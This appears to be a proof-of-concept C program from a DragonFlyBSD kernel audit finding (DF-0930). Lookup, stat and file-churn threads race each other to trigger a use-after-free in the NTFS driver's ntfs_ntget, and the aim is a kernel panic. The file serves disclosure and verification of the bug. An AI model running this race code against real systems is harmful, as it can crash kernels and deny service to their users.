DragonFlyBSD Kernel Audit
DF-0930 / race_ntfs.c
← back to finding ↓ download raw
/*
 * race_ntfs.c - DF-0930 PoC: race concurrent ntfs_ntlookup() for the same
 *               inode to win the window between ntfs_nthashlookup
 *               (token released at ntfs_ihash.c:100) and ntfs_ntget
 *               (touches ip at ntfs_subr.c:348).  A concurrent ntfs_ntput
 *               from vnode reclaim can drop usecount to 0 and kfree(ip),
 *               making ntfs_ntget dereference freed memory.
 *
 * Strategy: multiple threads race open()+close() on the same NTFS file;
 * a churn thread creates thousands of temp files to force the vnode
 * recycler to reclaim the target vnode (and thus ntfs_ntput the ntnode)
 * while a lookup thread is in the hash-token-released window.
 *
 * Requires: kern.maxvnodes set low (e.g. sysctl kern.maxvnodes=300) to
 * force aggressive vnode recycling.
 *
 * Build: cc -O2 -pthread -o race_ntfs race_ntfs.c
 * Run:   ./race_ntfs /mnt/ntfs/target [seconds]
 */
#define _GNU_SOURCE
#include <pthread.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/resource.h>
#include <errno.h>

static const char *g_path;
static volatile int g_stop;
static int g_ncpu;

static void
pin_cpu(int cpu)
{
    cpu_set_t cs;
    CPU_ZERO(&cs);
    CPU_SET(cpu % g_ncpu, &cs);
    pthread_setaffinity_np(pthread_self(), sizeof(cs), &cs);
}

/* Lookup threads: hammer open()+close() on the target file.
 * Each open drives VOP_LOOKUP -> ntfs_ntlookupfile -> ntfs_vgetex ->
 * ntfs_ntlookup -> ntfs_nthashlookup (releases token) -> ntfs_ntget.
 * Each close makes the vnode eligible for reclaim (v_usecount -> 0). */
static void *
thread_lookup(void *arg)
{
    long id = (long)arg;
    pin_cpu((int)id);

    while (!g_stop) {
        int fd = open(g_path, O_RDONLY);
        if (fd >= 0)
            close(fd);
        else if (errno != ENOENT && errno != ESTALE) {
            /* unexpected error — could be corruption from the race */
            fprintf(stderr, "[thread %ld] open errno=%d (%s)\n",
                    id, errno, strerror(errno));
        }
    }
    return NULL;
}

/* stat() thread: stat drives a lookup + immediate vnode release without
 * holding the fd open. This creates a very short vnode lifetime, making
 * reclaim more likely. */
static void *
thread_stat(void *arg)
{
    long id = (long)arg;
    pin_cpu((int)id);
    struct stat st;

    while (!g_stop) {
        if (stat(g_path, &st) != 0 && errno != ENOENT && errno != ESTALE) {
            fprintf(stderr, "[stat %ld] errno=%d (%s)\n",
                    id, errno, strerror(errno));
        }
    }
    return NULL;
}

/* Churn thread: create/delete thousands of temp files to consume vnodes
 * and force the recycler to reclaim NTFS vnodes (including the target). */
static void *
thread_churn(void *arg)
{
    int cpu = (long)arg;
    pin_cpu(cpu);
    char p[64];

    while (!g_stop) {
        for (int j = 0; j < 2000 && !g_stop; j++) {
            snprintf(p, sizeof(p),
                     "/tmp/df0930_junk_%d_%d", cpu, j);
            int x = open(p, O_CREAT | O_RDWR, 0600);
            if (x >= 0) {
                (void)write(x, "x", 1);
                close(x);
                unlink(p);
            }
        }
    }
    return NULL;
}

int
main(int argc, char **argv)
{
    if (argc < 2) {
        fprintf(stderr, "usage: %s <ntfs_path> [seconds]\n", argv[0]);
        return 2;
    }
    g_path = argv[1];
    int seconds = (argc >= 3) ? atoi(argv[2]) : 60;

    g_ncpu = sysconf(_SC_NPROCESSORS_ONLN);
    if (g_ncpu < 2) g_ncpu = 2;
    int nlookup = g_ncpu < 6 ? 2 : 3;
    int nstat = 2;
    int nchurn = g_ncpu < 6 ? 1 : 2;

    struct rlimit rl = { .rlim_cur = 8192, .rlim_max = 8192 };
    setrlimit(RLIMIT_NOFILE, &rl);

    fprintf(stderr, "[*] DF-0930 race: %d lookup + %d stat + %d churn threads, "
                    "%d cpus, %d sec\n", nlookup, nstat, nchurn, g_ncpu, seconds);
    fprintf(stderr, "[*] target: %s\n", g_path);
    fprintf(stderr, "[*] if the kernel panics in ntfs_ntget/lockmgr on a "
                    "freed ntnode, the UAF is confirmed.\n");

    pthread_t th[16];
    int nth = 0;
    for (long i = 0; i < nlookup; i++)
        pthread_create(&th[nth++], NULL, thread_lookup, (void *)i);
    for (long i = 0; i < nstat; i++)
        pthread_create(&th[nth++], NULL, thread_stat, (void *)(nlookup + i));
    for (long i = 0; i < nchurn; i++)
        pthread_create(&th[nth++], NULL, thread_churn, (void *)i);

    sleep(seconds);
    __sync_fetch_and_or(&g_stop, 1);

    for (int i = 0; i < nth; i++)
        pthread_join(th[i], NULL);

    fprintf(stderr, "[*] race finished without panic. "
                    "The UAF window may be too tight to hit in this run.\n");
    return 0;
}